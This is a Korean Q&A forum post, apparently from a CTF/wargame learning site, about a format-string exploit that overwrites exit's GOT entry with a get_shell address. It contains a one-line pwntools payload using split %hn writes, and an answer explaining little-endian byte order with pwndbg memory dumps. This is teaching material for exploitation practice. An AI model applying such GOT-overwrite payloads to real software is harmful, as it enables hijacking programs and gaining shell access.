exit+2 에 대한 질문

exit = e.got['exit']

payload = p32(exit+2) + p32(exit) + '%2044c%1$hn%32261c%2$hn'

  1. exit 크기가 크기 때문에 둘로 나누어야 한다고 하는데, 왜 안되는지 잘 와닿지 않습니다.
  2. 파이썬에서 exit+2 이 0x08048609 의 0x0804 앞부분을 가리키는지 잘 이해가 안됩니다.
#pwnable
작성자 정보
답변 1
  1. 질문자분께서 정확히 무엇이 안되는지가 명확하지 않아서 답변이 어렵습니다.
  2. get_shell의 주소인 0x08048609를 exit_got에 덮어쓸 때 exit_got + 2에 해당하는 부분이 0x0804인 이유는 주소값이 리틀엔디안으로 저장되기때문입니다. 즉, exit_got + 2는 get_shell의 상위 2바이트가 저장되어야합니다. 즉, gdb로 출력되는 다음과 같습니다.
pwndbg> x/wx 0x804a024
0x804a024 <exit@got.plt>:       0x08048476
pwndbg> p get_shell
$2 = {<text variable, no debug info>} 0x8048609 <get_shell>
pwndbg> set {int}0x804a024 = 0x8048609
pwndbg> x/wx 0x804a024
0x804a024 <exit@got.plt>:       0x08048609
pwndbg> x/4bx 0x804a024
0x804a024 <exit@got.plt>:       0x09    0x86    0x04    0x08
pwndbg> x/2bx 0x804a024 + 2
0x804a026 <exit@got.plt+2>:     0x04    0x08

got 주소에다가 get_shell 함수의 주소를 저장시켰을때 got + 2에는 0x04 0x08이 위치하게 됩니다.

2024.05.06. 01:26
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기